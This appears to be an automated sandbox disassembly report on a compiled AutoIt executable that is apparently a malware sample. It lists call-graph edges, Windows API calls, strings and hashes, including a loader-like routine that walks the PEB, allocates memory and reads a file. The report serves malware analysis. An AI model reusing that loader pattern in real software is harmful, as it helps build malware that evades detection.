86206->86207 86207->86107 86208->86104 86213 414cef GetSystemTimeAsFileTime __aulldiv 86210->86213 86212 4431ef 86212->85714 86213->86212 86214->85721 86216->85727 86221 4523e1 _wcscpy 86217->86221 86218 4151b0 81 API calls __fread_nolock 86218->86221 86219 44afdc GetSystemTimeAsFileTime 86219->86221 86220 452553 86220->85644 86220->85645 86221->86218 86221->86219 86221->86220 86222 41557c 105 API calls _fseek 86221->86222 86222->86221 86224 44b1b4 86223->86224 86225 44b1a6 86223->86225 86227 44b1ca 86224->86227 86228 414e06 138 API calls 86224->86228 86229 44b1c2 86224->86229 86226 414e06 138 API calls 86225->86226 86226->86224 86258 4352d1 81 API calls 2 library calls 86227->86258 86231 44b2c1 86228->86231 86229->85672 86231->86227 86233 44b2cf 86231->86233 86232 44b20d 86234 44b211 86232->86234 86235 44b23b 86232->86235 86236 414e94 __fcloseall 106 API calls 86233->86236 86240 44b2dc 86233->86240 86238 414e94 __fcloseall 106 API calls 86234->86238 86239 44b21e 86234->86239 86259 43526e 86235->86259 86236->86240 86238->86239 86242 414e94 __fcloseall 106 API calls 86239->86242 86246 44b22e 86239->86246 86240->85672 86241 44b242 86243 44b270 86241->86243 86244 44b248 86241->86244 86242->86246 86269 44b0af 111 API calls 86243->86269 86247 44b255 86244->86247 86248 414e94 __fcloseall 106 API calls 86244->86248 86246->85672 86249 44b265 86247->86249 86251 414e94 __fcloseall 106 API calls 86247->86251 86248->86247 86249->85672 86250 44b276 86270 43522c 67 API calls ___free_lconv_num 86250->86270 86251->86249 86253 44b27c 86254 44b289 86253->86254 86256 414e94 __fcloseall 106 API calls 86253->86256 86255 44b299 86254->86255 86257 414e94 __fcloseall 106 API calls 86254->86257 86255->85672 86256->86254 86257->86255 86258->86232 86260 4138ba _malloc 67 API calls 86259->86260 86261 43527d 86260->86261 86262 4138ba _malloc 67 API calls 86261->86262 86263 43528d 86262->86263 86264 4138ba _malloc 67 API calls 86263->86264 86265 43529d 86264->86265 86267 4352bc 86265->86267 86271 43522c 67 API calls ___free_lconv_num 86265->86271 86267->86241 86268 4352c8 86268->86241 86269->86250 86270->86253 86271->86268 86272->85561 86273->85563 86274->85580 86275->85580 86276->85580 86277->85575 86278->85580 86279->85580 86280->85585 86281->85594 86283->85596 86284->85486 86286 410148 SHGetDesktopFolder 86285->86286 86289 4101a3 _wcscpy 86285->86289 86287 41015a _wcscpy 86286->86287 86286->86289 86288 41018a SHGetPathFromIDListW 86287->86288 86287->86289 86288->86289 86289->85489 86290->85491 86292 40f5e0 152 API calls 86291->86292 86293 40f417 86292->86293 86294 42ca37 86293->86294 86295 40f42c 86293->86295 86296 42ca1f 86293->86296 86297 452574 140 API calls 86294->86297 86336 4037e0 139 API calls 7 library calls 86295->86336 86337 43717f 110 API calls _printf 86296->86337 86300 42ca50 86297->86300 86303 42ca76 86300->86303 86304 42ca54 86300->86304 86301 40f446 86301->85487 86302 42ca2d 86302->86294 86306 41171a 75 API calls 86303->86306 86305 434fe1 106 API calls 86304->86305 86307 42ca5e 86305->86307 86317 42cacc ctype 86306->86317 86338 43717f 110 API calls _printf 86307->86338 86309 42ca6c 86309->86303 86310 42ccc3 86311 413a88 ___free_lconv_num 67 API calls 86310->86311 86312 42cccd 86311->86312 86313 434fe1 106 API calls 86312->86313 86314 42ccda 86313->86314 86317->86310 86319 401b70 75 API calls 86317->86319 86322 402cc0 86317->86322 86330 4026a0 86317->86330 86339 445051 75 API calls _memcpy_s 86317->86339 86340 44c80c 87 API calls 3 library calls 86317->86340 86341 44b408 75 API calls 86317->86341 86319->86317 86323 402d71 86322->86323 86327 402cd2 _memcpy_s ctype 86322->86327 86326 41171a 75 API calls 86323->86326 86324 41171a 75 API calls 86325 402cd9 86324->86325 86328 41171a 75 API calls 86325->86328 86329 402cff 86325->86329 86326->86327 86327->86324 86328->86329 86329->86317 86331 4026af 86330->86331 86333 40276b 86330->86333 86332 41171a 75 API calls 86331->86332 86331->86333 86334 4026ee ctype 86331->86334 86332->86334 86333->86317 86334->86333 86335 41171a 75 API calls 86334->86335 86335->86334 86336->86301 86337->86302 86338->86309 86339->86317 86340->86317 86341->86317 86342->85498 86343->85499 86345 401bfb 86344->86345 86365 401cde 86344->86365 86367 4013a0 86345->86367 86348 42a9a0 LoadStringW 86351 42a9bb 86348->86351 86349 401c18 86350 4021e0 75 API calls 86349->86350 86352 401c2d 86350->86352 86373 40df50 75 API calls 86351->86373 86354 401c3a 86352->86354 86355 42a9cd 86352->86355 86354->86351 86357 401c44 86354->86357 86374 40d3b0 75 API calls 2 library calls 86355->86374 86372 40d3b0 75 API calls 2 library calls 86357->86372 86359 42a9dc 86360 42a9f0 86359->86360 86362 401c53 _memset _wcscpy _wcsncpy 86359->86362 86375 40d3b0 75 API calls 2 library calls 86360->86375 86364 401cc2 Shell_NotifyIconW 86362->86364 86363 42a9fe 86364->86365 86365->85510 86366->85505 86368 41171a 75 API calls 86367->86368 86369 4013c4 86368->86369 86370 401380 75 API calls 86369->86370 86371 4013d3 86370->86371 86371->86348 86371->86349 86372->86362 86373->86362 86374->86359 86375->86363 86376 444343 86379 444326 86376->86379 86378 44434e WriteFile 86380 444340 86379->86380 86381 4442c7 86379->86381 86380->86378 86386 40e190 SetFilePointerEx 86381->86386 86383 4442e0 SetFilePointerEx 86387 40e190 SetFilePointerEx 86383->86387 86385 4442ff 86385->86378 86386->86383 86387->86385 86388 3ef23f8 86402 3ef0048 86388->86402 86390 3ef2491 86405 3ef22e8 86390->86405 86392 3ef24ba CreateFileW 86394 3ef250e 86392->86394 86395 3ef2509 86392->86395 86394->86395 86396 3ef2525 VirtualAlloc 86394->86396 86396->86395 86397 3ef2543 ReadFile 86396->86397 86397->86395 86398 3ef255e 86397->86398 86399 3ef12e8 13 API calls 86398->86399 86401 3ef2591 86399->86401 86400 3ef25b4 ExitProcess 86400->86395 86401->86400 86408 3ef34b8 GetPEB 86402->86408 86404 3ef06d3 86404->86390 86406 3ef22f1 Sleep 86405->86406 86407 3ef22ff 86406->86407 86409 3ef34e2 86408->86409 86409->86404 86410 46d22f 86413 46d098 86410->86413 86412 46d241 86414 46d0b5 86413->86414 86415 46d115 86414->86415 86416 46d0b9 86414->86416 86460 45c216 78 API calls 86415->86460 86417 41171a 75 API calls 86416->86417 86419 46d0c0 86417->86419 86421 46d0cc 86419->86421 86457 40d940 76 API calls 86419->86457 86420 46d126 86422 46d0f8 86420->86422 86428 46d142 86420->86428 86426 453063 111 API calls 86421->86426 86423 4092c0 VariantClear 86422->86423 86425 46d0fd 86423->86425 86425->86412 86427 46d0dd 86426->86427 86458 40dfa0 83 API calls 86427->86458 86429 46d1c8 86428->86429 86432 46d158 86428->86432 86465 4676a3 78 API calls 86429->86465 86434 453063 111 API calls 86432->86434 86433 46d0ea 86433->86428 86435 46d0ee 86433->86435 86444 46d15e 86434->86444 86435->86422 86459 44ade5 CloseHandle ctype 86435->86459 86437 46d1ce 86466 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 86437->86466 86438 46d18d 86461 467fce 82 API calls 86438->86461 86439 46d196 86442 4013a0 75 API calls 86439->86442 86445 46d1a2 86442->86445 86443 46d1e7 86447 4092c0 VariantClear 86443->86447 86455 46d194 86443->86455 86444->86438 86444->86439 86462 40df50 75 API calls 86445->86462 86447->86455 86448 46d1ac 86463 40d3b0 75 API calls 2 library calls 86448->86463 86449 46d224 86449->86412 86451 40d900 CloseHandle 86454 46d216 86451->86454 86452 46d1b8 86464 467fce 82 API calls 86452->86464 86467 44ade5 CloseHandle ctype 86454->86467 86455->86449 86455->86451 86457->86421 86458->86433 86459->86422 86460->86420 86461->86455 86462->86448 86463->86452 86464->86455 86465->86437 86466->86443 86467->86449 86468 42919b 86473 40ef10 86468->86473 86471 411421 __cinit 74 API calls 86472 4291aa 86471->86472 86474 41171a 75 API calls 86473->86474 86475 40ef17 86474->86475 86476 42ad48 86475->86476 86481 40ef40 74 API calls __cinit 86475->86481 86478 40ef2a 86482 40e470 86478->86482 86481->86478 86483 40c060 75 API calls 86482->86483 86484 40e483 GetVersionExW 86483->86484 86485 4021e0 75 API calls 86484->86485 86486 40e4bb 86485->86486 86508 40e600 86486->86508 86492 42accc 86494 42ad28 GetSystemInfo 86492->86494 86496 42ad38 GetSystemInfo 86494->86496 86495 40e557 GetCurrentProcess 86528 40ee30 LoadLibraryA GetProcAddress 86495->86528 86500 40e5c9 86525 40eea0 86500->86525 86501 40e56c 86501->86496 86521 40eee0 86501->86521 86504 40e5e0 86506 40e5f1 FreeLibrary 86504->86506 86507 40e5f4 86504->86507 86505 40e5dd FreeLibrary 86505->86504 86506->86507 86507->86471 86509 40e60b 86508->86509 86510 40c740 75 API calls 86509->86510 86511 40e4c2 86510->86511 86512 40e620 86511->86512 86513 40e62a 86512->86513 86514 42ac93 86513->86514 86515 40c740 75 API calls 86513->86515 86516 40e4ce 86515->86516 86516->86492 86517 40ee70 86516->86517 86518 40e551 86517->86518 86519 40ee76 LoadLibraryA 86517->86519 86518->86495 86518->86501 86519->86518 86520 40ee87 GetProcAddress 86519->86520 86520->86518 86522 40e5bf 86521->86522 86523 40eee6 LoadLibraryA 86521->86523 86522->86494 86522->86500 86523->86522 86524 40eef7 GetProcAddress 86523->86524 86524->86522 86529 40eec0 LoadLibraryA GetProcAddress 86525->86529 86527 40e5d3 GetNativeSystemInfo 86527->86504 86527->86505 86528->86501 86529->86527 86530 40116e 86531 401119 DefWindowProcW 86530->86531

                              Control-flow Graph

                              APIs
                              • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\w6dnPra4mx.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                              • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                              • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\w6dnPra4mx.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                              • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\w6dnPra4mx.exe,00000004), ref: 0040D7D6
                              • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                              • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\w6dnPra4mx.exe,00000004), ref: 00431B0E
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\w6dnPra4mx.exe,00000004), ref: 00431B3F
                              • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                              • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                              • String ID: @GH$@GH$C:\Users\user\Desktop\w6dnPra4mx.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                              • API String ID: 2493088469-2169623683
                              • Opcode ID: ba2e87c3f8820592b330de56266d8528cb530a4dab1fa245838381ec475db17a
                              • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                              • Opcode Fuzzy Hash: ba2e87c3f8820592b330de56266d8528cb530a4dab1fa245838381ec475db17a
                              • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 138 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 147 40e506-40e509 138->147 148 42accc-42acd1 138->148 151 40e540-40e555 call 40ee70 147->151 152 40e50b-40e51c 147->152 149 42acd3-42acdb 148->149 150 42acdd-42ace0 148->150 153 42ad12-42ad20 149->153 154 42ace2-42aceb 150->154 155 42aced-42acf0 150->155 169 40e557-40e573 GetCurrentProcess call 40ee30 151->169 170 40e579-40e5a8 151->170 156 40e522-40e525 152->156 157 42ac9b-42aca7 152->157 168 42ad28-42ad2d GetSystemInfo 153->168 154->153 155->153 159 42acf2-42ad06 155->159 156->151 160 40e527-40e537 156->160 162 42acb2-42acba 157->162 163 42aca9-42acad 157->163 164 42ad08-42ad0c 159->164 165 42ad0e 159->165 166 42acbf-42acc7 160->166 167 40e53d 160->167 162->151 163->151 164->153 165->153 166->151 167->151 171 42ad38-42ad3d GetSystemInfo 168->171 169->170 179 40e575 169->179 170->171 172 40e5ae-40e5c3 call 40eee0 170->172 172->168 177 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 172->177 182 40e5e0-40e5ef 177->182 183 40e5dd-40e5de FreeLibrary 177->183 179->170 184 40e5f1-40e5f2 FreeLibrary 182->184 185 40e5f4-40e5ff 182->185 183->182 184->185
                              APIs
                              • GetVersionExW.KERNEL32 ref: 0040E495
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                              • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                              • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                              • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                              • String ID: pMH$#v
                              • API String ID: 2923339712-1800489730
                              • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                              • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                              • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                              • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                              APIs
                              • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                              • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: IsThemeActive$uxtheme.dll
                              • API String ID: 2574300362-3542929980
                              • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                              • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                              • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                              • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28

                              Control-flow Graph

                              APIs
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                              • __wsplitpath.LIBCMT ref: 00410C61
                                • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                              • _wcsncat.LIBCMT ref: 00410C78
                              • __wmakepath.LIBCMT ref: 00410C94
                                • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              • _wcscpy.LIBCMT ref: 00410CCC
                              • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                              • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                              • _wcscat.LIBCMT ref: 00429C43
                              • _wcslen.LIBCMT ref: 00429C55
                              • _wcslen.LIBCMT ref: 00429C66
                              • _wcscat.LIBCMT ref: 00429C80
                              • _wcsncpy.LIBCMT ref: 00429CC0
                              • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID: Include$Software\AutoIt v3\AutoIt$\
                              • API String ID: 1004883554-2276155026
                              • Opcode ID: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                              • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                              • Opcode Fuzzy Hash: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                              • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A

                              Control-flow Graph

                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __fread_nolock$_fseek_wcscpy
                              • String ID: FILE
                              • API String ID: 3888824918-3121273764
                              • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                              • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                              • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                              • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA

                              Control-flow Graph

                              APIs
                              • GetSysColorBrush.USER32 ref: 00410326
                              • RegisterClassExW.USER32 ref: 00410359
                              • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                              • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                              • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                              • ImageList_ReplaceIcon.COMCTL32(0097F3F0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                              • API String ID: 2914291525-1005189915
                              • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                              • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                              • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                              • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A

                              Control-flow Graph

                              APIs
                              • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                              • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                              • LoadIconW.USER32(?,00000063), ref: 0041021F
                              • LoadIconW.USER32(?,000000A4), ref: 00410232
                              • LoadIconW.USER32(?,000000A2), ref: 00410245
                              • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                              • RegisterClassExW.USER32 ref: 004102C6
                                • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(0097F3F0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                              • String ID: #$0$PGH
                              • API String ID: 423443420-3673556320
                              • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                              • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                              • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                              • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99

                              Control-flow Graph

                              APIs
                              • _fseek.LIBCMT ref: 004525DA
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                              • __fread_nolock.LIBCMT ref: 00452618
                              • __fread_nolock.LIBCMT ref: 00452629
                              • __fread_nolock.LIBCMT ref: 00452644
                              • __fread_nolock.LIBCMT ref: 00452661
                              • _fseek.LIBCMT ref: 0045267D
                              • _malloc.LIBCMT ref: 00452689
                              • _malloc.LIBCMT ref: 00452696
                              • __fread_nolock.LIBCMT ref: 004526A7
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
